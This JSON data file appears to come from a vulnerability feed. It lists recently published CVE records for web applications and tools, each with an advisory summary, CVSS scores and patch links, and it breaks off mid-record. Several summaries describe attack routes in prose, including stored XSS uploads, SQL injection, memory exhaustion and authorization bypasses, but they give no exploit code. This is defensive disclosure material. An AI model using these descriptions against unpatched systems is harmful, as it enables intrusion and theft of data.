{"cves":[{"cve_id":"CVE-2026-121733","summary":"Bagisto before 2.4.5 contains a stored cross-site scripting vulnerability that allows authenticated customers to upload HTML files via the RMA send-message endpoint without type or extension validation. Attackers can upload a .html attachment containing JavaScript served under /storage/rma-conversation/, executing script in the shop's origin when an administrator opens it.","cvss":2.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/bagisto/bagisto","https://github.com/bagisto/bagisto/blob/v2.4.4/packages/Webkul/Shop/src/Http/Controllers/Customer/Account/RMAController.php#L408","https://github.com/bagisto/bagisto/commit/204e43c26705b66ef2ddfb2a9eebb25f5e8f6a2c","https://github.com/bagisto/bagisto/commit/e28db3e8c53a94a99cf153ac338466720acd9004","https://github.com/bagisto/bagisto/releases/tag/v2.4.5","https://www.vulncheck.com/advisories/bagisto-before-2.4.5-stored-xss-via-rma-conversation-attachment-upload"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:37","euvd":{"id":"EUVD-2026-116591","description":"Bagisto before 2.4.5 contains a stored cross-site scripting vulnerability that allows authenticated customers to upload HTML files via the RMA send-message endpoint without type or extension validation. Attackers can upload a .html attachment containing JavaScript served under /storage/rma-conversation/, executing script in the shop's origin when an administrator opens it.","published_time":"2026-11-03T22:55:37","cvss":2.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/bagisto/bagisto/commit/204e43c26705b66ef2ddfb2a9eebb25f5e8f6a2c","https://github.com/bagisto/bagisto","https://github.com/bagisto/bagisto/commit/e28db3e8c53a94a99cf153ac338466720acd9004","https://github.com/bagisto/bagisto/blob/v2.4.4/packages/Webkul/Shop/src/Http/Controllers/Customer/Account/RMAController.php#L408","https://github.com/bagisto/bagisto/releases/tag/v2.4.5","https://www.vulncheck.com/advisories/bagisto-before-2.4.5-stored-xss-via-rma-conversation-attachment-upload"],"products":["Bagisto"],"vendors":["Webkul"]},"ghsa":null},{"cve_id":"CVE-2026-121734","summary":"ZaneOps 1.14.0 before 1.15.2 contains an authorization bypass vulnerability that allows any workspace administrator to read another workspace's pending preview environment by querying ReviewPreviewEnvDeployAPIView without project scoping. Attackers can use the project slug and environment name from public fork pull request comments to retrieve plaintext environment variables and preview basic-auth credentials.","cvss":6.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":6.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zane-ops/zane-ops","https://github.com/zane-ops/zane-ops/blob/v1.15.1/backend/zane_api/views/environments.py#L246-L248","https://github.com/zane-ops/zane-ops/commit/0f3e30403a605dc155a664bc70722c74159a6494","https://github.com/zane-ops/zane-ops/releases/tag/v1.15.2","https://github.com/zane-ops/zane-ops/security/advisories/GHSA-r87v-8542-wx9q","https://www.vulncheck.com/advisories/zaneops-1.14.0-before-1.15.2-cross-workspace-information-disclosure-via-reviewpreviewenvdeployapiview"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:37","euvd":{"id":"EUVD-2026-116592","description":"ZaneOps 1.14.0 before 1.15.2 contains an authorization bypass vulnerability that allows any workspace administrator to read another workspace's pending preview environment by querying ReviewPreviewEnvDeployAPIView without project scoping. Attackers can use the project slug and environment name from public fork pull request comments to retrieve plaintext environment variables and preview basic-auth credentials.","published_time":"2026-11-03T22:55:38","cvss":6.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/zane-ops/zane-ops/commit/0f3e30403a605dc155a664bc70722c74159a6494","https://github.com/zane-ops/zane-ops","https://github.com/zane-ops/zane-ops/security/advisories/GHSA-r87v-8542-wx9q","https://github.com/zane-ops/zane-ops/blob/v1.15.1/backend/zane_api/views/environments.py#L246-L248","https://github.com/zane-ops/zane-ops/releases/tag/v1.15.2","https://www.vulncheck.com/advisories/zaneops-1.14.0-before-1.15.2-cross-workspace-information-disclosure-via-reviewpreviewenvdeployapiview"],"products":["zane-ops"],"vendors":["zane-ops"]},"ghsa":null},{"cve_id":"CVE-2026-121735","summary":"blueprintUE self-hosted edition before 4.3.4 contains an insufficient session expiration vulnerability that allows attackers to confirm accounts using stale tokens because UserModel::findUserIDWithConfirmedToken ignores confirmed_sent_at. Attackers who obtain an old confirmation link from a compromised mailbox, backup, or forwarded mail can activate unconfirmed accounts and evade the unconfirmed-account cleanup job.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/blueprintue/blueprintue-self-hosted-edition","https://github.com/blueprintue/blueprintue-self-hosted-edition/blob/v4.3.3/app/models/UserModel.php#L361-L368","https://github.com/blueprintue/blueprintue-self-hosted-edition/commit/8bba1615bf76b144ac5cd72637c243490f08bc37","https://github.com/blueprintue/blueprintue-self-hosted-edition/pull/266","https://github.com/blueprintue/blueprintue-self-hosted-edition/releases/tag/v4.3.4","https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-qp6g-7v4v-33r9","https://www.vulncheck.com/advisories/blueprintue-self-hosted-edition-before-4.3.4-non-expiring-account-confirmation-tokens"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:37","euvd":{"id":"EUVD-2026-116593","description":"blueprintUE self-hosted edition before 4.3.4 contains an insufficient session expiration vulnerability that allows attackers to confirm accounts using stale tokens because UserModel::findUserIDWithConfirmedToken ignores confirmed_sent_at. Attackers who obtain an old confirmation link from a compromised mailbox, backup, or forwarded mail can activate unconfirmed accounts and evade the unconfirmed-account cleanup job.","published_time":"2026-11-03T22:55:39","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/blueprintue/blueprintue-self-hosted-edition/commit/8bba1615bf76b144ac5cd72637c243490f08bc37","https://github.com/blueprintue/blueprintue-self-hosted-edition","https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-qp6g-7v4v-33r9","https://github.com/blueprintue/blueprintue-self-hosted-edition/pull/266","https://github.com/blueprintue/blueprintue-self-hosted-edition/blob/v4.3.3/app/models/UserModel.php#L361-L368","https://github.com/blueprintue/blueprintue-self-hosted-edition/releases/tag/v4.3.4","https://www.vulncheck.com/advisories/blueprintue-self-hosted-edition-before-4.3.4-non-expiring-account-confirmation-tokens"],"products":["blueprintue-self-hosted-edition"],"vendors":["blueprintue"]},"ghsa":null},{"cve_id":"CVE-2026-121736","summary":"NocoDB 0.300.0 before 2026.08.0 contains a missing authentication vulnerability in the POST /api/v2/oauth/authorize handler that allows unauthenticated attackers to create OAuth authorization codes. Attackers can send anonymous requests with client_id, redirect_uri and approved=true to insert unbounded ownerless authorization code records, limited only by rate limiting.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/nocodb/nocodb","https://github.com/nocodb/nocodb/blob/2026.07.0/packages/nocodb/src/modules/oauth/controllers/oauth.controller.ts#L56-L92","https://github.com/nocodb/nocodb/commit/42128735eba328d157c2e90b98795cb248dc0847","https://github.com/nocodb/nocodb/releases/tag/2026.08.0","https://github.com/nocodb/nocodb/security/advisories/GHSA-532v-ccph-m3xg","https://www.vulncheck.com/advisories/nocodb-0.300.0-before-2026.08.0-unauthenticated-oauth-authorization-code-creation"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:37","euvd":{"id":"EUVD-2026-116594","description":"NocoDB 0.300.0 before 2026.08.0 contains a missing authentication vulnerability in the POST /api/v2/oauth/authorize handler that allows unauthenticated attackers to create OAuth authorization codes. Attackers can send anonymous requests with client_id, redirect_uri and approved=true to insert unbounded ownerless authorization code records, limited only by rate limiting.","published_time":"2026-11-03T22:55:40","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/nocodb/nocodb/commit/42128735eba328d157c2e90b98795cb248dc0847","https://github.com/nocodb/nocodb","https://github.com/nocodb/nocodb/security/advisories/GHSA-532v-ccph-m3xg","https://github.com/nocodb/nocodb/blob/2026.07.0/packages/nocodb/src/modules/oauth/controllers/oauth.controller.ts#L56-L92","https://github.com/nocodb/nocodb/releases/tag/2026.08.0","https://www.vulncheck.com/advisories/nocodb-0.300.0-before-2026.08.0-unauthenticated-oauth-authorization-code-creation"],"products":["nocodb"],"vendors":["nocodb"]},"ghsa":null},{"cve_id":"CVE-2026-121727","summary":"Kore before 4.3.0 contains an integer underflow vulnerability in HTTP request body handling that allows unauthenticated attackers to bypass http_body_max by sending more body bytes than declared. Attackers can send oversized first segments over many concurrent POST, PUT or DELETE connections, wrapping content_length to grow buffers unbounded and exhaust worker memory.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/jorisvink/kore","https://github.com/jorisvink/kore/blob/4.3.0-rc5/src/http.c#L934","https://github.com/jorisvink/kore/commit/1ff3c0f6f7973dc7fc8bf38369790ef2d8079b3b","https://kore.io/releases/4.3.0","https://www.vulncheck.com/advisories/kore-before-4.3.0-integer-underflow-memory-exhaustion-via-http-header-recv"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:36","euvd":{"id":"EUVD-2026-116585","description":"Kore before 4.3.0 contains an integer underflow vulnerability in HTTP request body handling that allows unauthenticated attackers to bypass http_body_max by sending more body bytes than declared. Attackers can send oversized first segments over many concurrent POST, PUT or DELETE connections, wrapping content_length to grow buffers unbounded and exhaust worker memory.","published_time":"2026-11-03T22:55:33","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/jorisvink/kore/commit/1ff3c0f6f7973dc7fc8bf38369790ef2d8079b3b","https://github.com/jorisvink/kore","https://kore.io/releases/4.3.0","https://github.com/jorisvink/kore/blob/4.3.0-rc5/src/http.c#L934","https://www.vulncheck.com/advisories/kore-before-4.3.0-integer-underflow-memory-exhaustion-via-http-header-recv"],"products":["kore"],"vendors":["jorisvink"]},"ghsa":null},{"cve_id":"CVE-2026-121728","summary":"SourceHut meta.sr.ht 0.56.11 before 0.89.0 contains an authorization bypass vulnerability that allows unauthenticated attackers to register accounts when public registration is disabled. Attackers can obtain a CSRF token from /login and POST credentials to /register/step2, which invokes the unchecked GraphQL RegisterAccount mutation to create accounts.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://blog.arusekk.pl/posts/srht-disabled-registration-bypass/","https://git.sr.ht/~sircmpwn/meta.sr.ht/commit/1ea24685a76f6456245d0bc7fe6accf6231c4044","https://git.sr.ht/~sircmpwn/meta.sr.ht/commit/e471ffe75bb6ef11366e46c3b721dd0278f746b5","https://git.sr.ht/~sircmpwn/meta.sr.ht/refs/0.89.0","https://git.sr.ht/~sircmpwn/meta.sr.ht/tree/0.88.9/item/metasrht/blueprints/auth.py#L121","https://www.vulncheck.com/advisories/sourcehut-meta-sr-ht-0.56.11-before-0.89.0-registration-authorization-bypass-via-register-step2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:36","euvd":{"id":"EUVD-2026-116586","description":"SourceHut meta.sr.ht 0.56.11 before 0.89.0 contains an authorization bypass vulnerability that allows unauthenticated attackers to register accounts when public registration is disabled. Attackers can obtain a CSRF token from /login and POST credentials to /register/step2, which invokes the unchecked GraphQL RegisterAccount mutation to create accounts.","published_time":"2026-11-03T22:55:34","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://git.sr.ht/~sircmpwn/meta.sr.ht/commit/e471ffe75bb6ef11366e46c3b721dd0278f746b5","https://git.sr.ht/~sircmpwn/meta.sr.ht/commit/1ea24685a76f6456245d0bc7fe6accf6231c4044","https://git.sr.ht/~sircmpwn/meta.sr.ht/tree/0.88.9/item/metasrht/blueprints/auth.py#L121","https://git.sr.ht/~sircmpwn/meta.sr.ht/refs/0.89.0","https://blog.arusekk.pl/posts/srht-disabled-registration-bypass/","https://www.vulncheck.com/advisories/sourcehut-meta-sr-ht-0.56.11-before-0.89.0-registration-authorization-bypass-via-register-step2"],"products":["meta.sr.ht"],"vendors":["SourceHut"]},"ghsa":null},{"cve_id":"CVE-2026-121729","summary":"emailflare before commit cf31f33 contains a missing authorization vulnerability in the inbox service /api/keys routes that allows any authenticated member to list, create and revoke API keys. Attackers can mint a global live API key accepted by /v1/send to send mail from any domain, or revoke existing keys to disable integrations.","cvss":7.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":7.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/0xdps/emailflare","https://github.com/0xdps/emailflare/blob/d448ea205937a5e82683f89013d4c23159da5b7d/services/inbox-worker/src/routes/keys.ts","https://github.com/0xdps/emailflare/commit/cf31f33bbb4a324d5353b8a5db0312fedc19618f","https://www.vulncheck.com/advisories/emailflare-before-commit-cf31f33-missing-authorization-via-api-keys-routes"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:36","euvd":{"id":"EUVD-2026-116587","description":"emailflare before commit cf31f33 contains a missing authorization vulnerability in the inbox service /api/keys routes that allows any authenticated member to list, create and revoke API keys. Attackers can mint a global live API key accepted by /v1/send to send mail from any domain, or revoke existing keys to disable integrations.","published_time":"2026-11-03T22:55:35","cvss":7.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/0xdps/emailflare/commit/cf31f33bbb4a324d5353b8a5db0312fedc19618f","https://github.com/0xdps/emailflare","https://github.com/0xdps/emailflare/blob/d448ea205937a5e82683f89013d4c23159da5b7d/services/inbox-worker/src/routes/keys.ts","https://www.vulncheck.com/advisories/emailflare-before-commit-cf31f33-missing-authorization-via-api-keys-routes"],"products":["emailflare"],"vendors":["0xdps"]},"ghsa":null},{"cve_id":"CVE-2026-121730","summary":"emailflare before commit cf31f33 contains a missing authorization vulnerability in POST /api/inbox/compose that allows authenticated members to send mail as any sender address. Attackers can supply an arbitrary from field, which is passed unchecked to the Cloudflare send call, to impersonate other users or the organization to external recipients.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/0xdps/emailflare","https://github.com/0xdps/emailflare/blob/d448ea205937a5e82683f89013d4c23159da5b7d/services/inbox-worker/src/routes/inbox/compose.ts","https://github.com/0xdps/emailflare/commit/cf31f33bbb4a324d5353b8a5db0312fedc19618f","https://www.vulncheck.com/advisories/emailflare-before-commit-cf31f33-missing-authorization-via-inbox-compose-endpoint"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:36","euvd":{"id":"EUVD-2026-116588","description":"emailflare before commit cf31f33 contains a missing authorization vulnerability in POST /api/inbox/compose that allows authenticated members to send mail as any sender address. Attackers can supply an arbitrary from field, which is passed unchecked to the Cloudflare send call, to impersonate other users or the organization to external recipients.","published_time":"2026-11-03T22:55:35","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/0xdps/emailflare/commit/cf31f33bbb4a324d5353b8a5db0312fedc19618f","https://github.com/0xdps/emailflare","https://github.com/0xdps/emailflare/blob/d448ea205937a5e82683f89013d4c23159da5b7d/services/inbox-worker/src/routes/inbox/compose.ts","https://www.vulncheck.com/advisories/emailflare-before-commit-cf31f33-missing-authorization-via-inbox-compose-endpoint"],"products":["emailflare"],"vendors":["0xdps"]},"ghsa":null},{"cve_id":"CVE-2026-121731","summary":"RosarioSIS before 12.9 contains a sql injection vulnerability that allows authenticated non-student users, including parents, to inject SQL via the unquoted period_id parameter in StudentSummary.php. Attackers can supply payloads without single quotes into IN() clauses to extract administrator password hashes and student records through time-based queries or modify data via stacked statements.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/francoisjacquet/rosariosis","https://github.com/francoisjacquet/rosariosis/blob/v12.8.1/modules/Attendance/includes/StudentSummary.php#L119","https://github.com/francoisjacquet/rosariosis/commit/1b809f9761b50c3f6faf9e1b2b5f5e74d63509c1","https://github.com/francoisjacquet/rosariosis/releases/tag/v12.9","https://gitlab.com/francoisjacquet/rosariosis/-/issues/375","https://www.vulncheck.com/advisories/rosariosis-before-12.9-sql-injection-via-period-id-in-attendance-absence-report"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:36","euvd":{"id":"EUVD-2026-116589","description":"RosarioSIS before 12.9 contains a sql injection vulnerability that allows authenticated non-student users, including parents, to inject SQL via the unquoted period_id parameter in StudentSummary.php. Attackers can supply payloads without single quotes into IN() clauses to extract administrator password hashes and student records through time-based queries or modify data via stacked statements.","published_time":"2026-11-03T22:55:36","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/francoisjacquet/rosariosis/commit/1b809f9761b50c3f6faf9e1b2b5f5e74d63509c1","https://github.com/francoisjacquet/rosariosis","https://gitlab.com/francoisjacquet/rosariosis/-/issues/375","https://github.com/francoisjacquet/rosariosis/blob/v12.8.1/modules/Attendance/includes/StudentSummary.php#L119","https://github.com/francoisjacquet/rosariosis/releases/tag/v12.9","https://www.vulncheck.com/advisories/rosariosis-before-12.9-sql-injection-via-period-id-in-attendance-absence-report"],"products":["RosarioSIS"],"vendors":["francoisjacquet"]},"ghsa":null},{"cve_id":"CVE-2026-121732","summary":"RosarioSIS before 12.9 contains an improper authorization vulnerability that allows school-scoped administrators to assign fees and payments to students of other schools via MassAssignFees.php and MassAssignPayments.php. Attackers can substitute foreign student IDs in the student[] POST array of a modfunc=save request to alter other schools' student billing balances, breaking school isolation.","cvss":2.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":2.7,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/francoisjacquet/rosariosis","https://github.com/francoisjacquet/rosariosis/blob/v12.8.1/modules/Student_Billing/MassAssignFees.php#L15","https://github.com/francoisjacquet/rosariosis/blob/v12.8.1/modules/Student_Billing/MassAssignPayments.php#L16","https://github.com/francoisjacquet/rosariosis/commit/a8bb460aacb11661934e6e91fbe0d8158fbc0c4f","https://github.com/francoisjacquet/rosariosis/releases/tag/v12.9","https://gitlab.com/francoisjacquet/rosariosis/-/issues/376","https://www.vulncheck.com/advisories/rosariosis-before-12.9-improper-authorization-via-student-billing-mass-assignment"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:36","euvd":{"id":"EUVD-2026-116590","description":"RosarioSIS before 12.9 contains an improper authorization vulnerability that allows school-scoped administrators to assign fees and payments to students of other schools via MassAssignFees.php and MassAssignPayments.php. Attackers can substitute foreign student IDs in the student[] POST array of a modfunc=save request to alter other schools' student billing balances, breaking school isolation.","published_time":"2026-11-03T22:55:37","cvss":2.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/francoisjacquet/rosariosis/commit/a8bb460aacb11661934e6e91fbe0d8158fbc0c4f","https://github.com/francoisjacquet/rosariosis","https://gitlab.com/francoisjacquet/rosariosis/-/issues/376","https://github.com/francoisjacquet/rosariosis/blob/v12.8.1/modules/Student_Billing/MassAssignFees.php#L15","https://github.com/francoisjacquet/rosariosis/blob/v12.8.1/modules/Student_Billing/MassAssignPayments.php#L16","https://github.com/francoisjacquet/rosariosis/releases/tag/v12.9","https://www.vulncheck.com/advisories/rosariosis-before-12.9-improper-authorization-via-student-billing-mass-assignment"],"products":["RosarioSIS"],"vendors":["francoisjacquet"]},"ghsa":null},{"cve_id":"CVE-2026-121565","summary":"Tanium addressed an improper certificate validation vulnerability in multiple products. Products have been updated to distrust several intermediate CA certificates associated with compromised private keys.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.tanium.com/TAN-2026-092"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:35","euvd":{"id":"EUVD-2026-116547","description":"Tanium addressed an improper certificate validation vulnerability in multiple products. Products have been updated to distrust several intermediate CA certificates associated with compromised private keys.","published_time":"2026-11-03T22:17:22","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"Tanium","references":["https://security.tanium.com/TAN-2026-092"],"products":["Provision Host","Threat Response","Reveal","Comply","Comply","Patch","Endpoint Configuration Toolset Solution","Provision Host","Integrity Monitor","Integrity Monitor","Asset","Endpoint Configuration Toolset Solution","Asset","Connect","Endpoint Configuration Toolset Solution","Reputation","Comply","Provision Host","Performance","Reputation","Connect","Provision Host","TanOS","TanOS","Patch","Threat Response","Health Check","Provision Host","Reputation","Performance","Reveal","Integrity Monitor","Threat Response","Performance","Asset","TanOS","Patch","Connect"],"vendors":["Tanium"]},"ghsa":null},{"cve_id":"CVE-2026-121581","summary":"A vulnerability has been found in ArcReel 0.32.0/0.33.0/0.34.0. The impacted element is an unknown function of the file /api/v1/providers/{id}/test of the component Provider Test-Connection Endpoint. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":2.1,"cvss_version":4.0,"cvss_v2":4.0,"cvss_v3":4.3,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/ArcReel/ArcReel/","https://github.com/ArcReel/ArcReel/security/advisories/GHSA-hrr6-72vw-wgx5","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/06-arcreel-provider-test-ssrf.md","https://vuldb.com/cve/CVE-2026-121581","https://vuldb.com/submit/1019997","https://vuldb.com/vuln/430416","https://vuldb.com/vuln/430416/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:35","euvd":{"id":"EUVD-2026-116580","description":"A vulnerability has been found in ArcReel 0.32.0/0.33.0/0.34.0. The impacted element is an unknown function of the file /api/v1/providers/{id}/test of the component Provider Test-Connection Endpoint. The manipulation leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T22:45:19","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430416","https://vuldb.com/vuln/430416/cti","https://vuldb.com/cve/CVE-2026-121581","https://vuldb.com/submit/1019997","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/ArcReel/ArcReel/security/advisories/GHSA-hrr6-72vw-wgx5","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/06-arcreel-provider-test-ssrf.md","https://github.com/ArcReel/ArcReel/"],"products":["ArcReel","ArcReel","ArcReel"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-121582","summary":"A vulnerability has been found in Umami up to 3.4.1. Impacted is an unknown function of the file src/app/api/record/route.ts of the component Record API Endpoint. Such manipulation of the argument Website leads to authorization bypass. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":5.5,"cvss_version":4.0,"cvss_v2":6.4,"cvss_v3":6.5,"cvss_v4":5.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/umami-software/umami/security/advisories/GHSA-4cww-5p37-v8r2","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/02-umami-record-unauth-write.md","https://vuldb.com/cve/CVE-2026-121582","https://vuldb.com/submit/1019998","https://vuldb.com/vuln/430425","https://vuldb.com/vuln/430425/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:35","euvd":{"id":"EUVD-2026-116595","description":"A vulnerability has been found in Umami up to 3.4.1. Impacted is an unknown function of the file src/app/api/record/route.ts of the component Record API Endpoint. Such manipulation of the argument Website leads to authorization bypass. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T23:00:26","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430425","https://vuldb.com/vuln/430425/cti","https://vuldb.com/cve/CVE-2026-121582","https://vuldb.com/submit/1019998","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/umami-software/umami/security/advisories/GHSA-4cww-5p37-v8r2","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/02-umami-record-unauth-write.md"],"products":["Umami","Umami"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-121520","summary":"In BuildKit versions prior to v0.34.1, a malicious client with access to the BuildKit control APIs can submit a build request that sets an extended attribute on a file outside the BuildKit state directory. Extended attributes in the trusted. or security. namespaces may also be set, potentially giving a program on the host elevated privileges. This issue affects build services that accept build requests from untrusted users. The issue is fixed in v0.34.1.","cvss":4.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":4.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/moby/buildkit/security/advisories/GHSA-w26x-xg27-7qjc"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:34","euvd":{"id":"EUVD-2026-116538","description":"In BuildKit versions prior to v0.34.1, a malicious client with access to the BuildKit control APIs can submit a build request that sets an extended attribute on a file outside the BuildKit state directory. Extended attributes in the trusted. or security. namespaces may also be set, potentially giving a program on the host elevated privileges. This issue affects build services that accept build requests from untrusted users. The issue is fixed in v0.34.1.","published_time":"2026-11-03T22:11:57","cvss":4.5,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://github.com/moby/buildkit/security/advisories/GHSA-w26x-xg27-7qjc"],"products":["buildkit"],"vendors":["moby"]},"ghsa":null},{"cve_id":"CVE-2026-121535","summary":"A vulnerability was found in miroslavpejic85 MiroTalk P2P up to 2.0.87. This vulnerability affects the function checkPassword of the file app/src/server.js of the component Room Action Handler. The manipulation results in improper restriction of excessive authentication attempts. It is possible to launch the attack remotely. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. The exploit has been made public and could be used. Upgrading to version 2.1.38 is able to resolve this issue. The patch is identified as 55bec1d05f931d2e43633d6d0b7274f79ec719dd. Upgrading the affected component is advised.","cvss":2.9,"cvss_version":4.0,"cvss_v2":2.6,"cvss_v3":3.7,"cvss_v4":2.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/miroslavpejic85/mirotalk/commit/55bec1d05f931d2e43633d6d0b7274f79ec719dd","https://github.com/miroslavpejic85/mirotalk/security/advisories/GHSA-x2r2-j5hf-hp36","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/04-mirotalk-checkpassword-oracle.md","https://vuldb.com/cve/CVE-2026-121535","https://vuldb.com/submit/1019995","https://vuldb.com/vuln/430291","https://vuldb.com/vuln/430291/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T23:17:34","euvd":{"id":"EUVD-2026-116542","description":"A vulnerability was found in miroslavpejic85 MiroTalk P2P up to 2.0.87. This vulnerability affects the function checkPassword of the file app/src/server.js of the component Room Action Handler. The manipulation results in improper restriction of excessive authentication attempts. It is possible to launch the attack remotely. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. The exploit has been made public and could be used. Upgrading to version 2.1.38 is able to resolve this issue. The patch is identified as 55bec1d05f931d2e43633d6d0b7274f79ec719dd. Upgrading the affected component is advised.","published_time":"2026-11-03T22:15:19","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430291","https://vuldb.com/vuln/430291/cti","https://vuldb.com/cve/CVE-2026-121535","https://vuldb.com/submit/1019995","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/miroslavpejic85/mirotalk/security/advisories/GHSA-x2r2-j5hf-hp36","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/04-mirotalk-checkpassword-oracle.md","https://github.com/miroslavpejic85/mirotalk/commit/55bec1d05f931d2e43633d6d0b7274f79ec719dd"],"products":["MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk P2P","MiroTalk 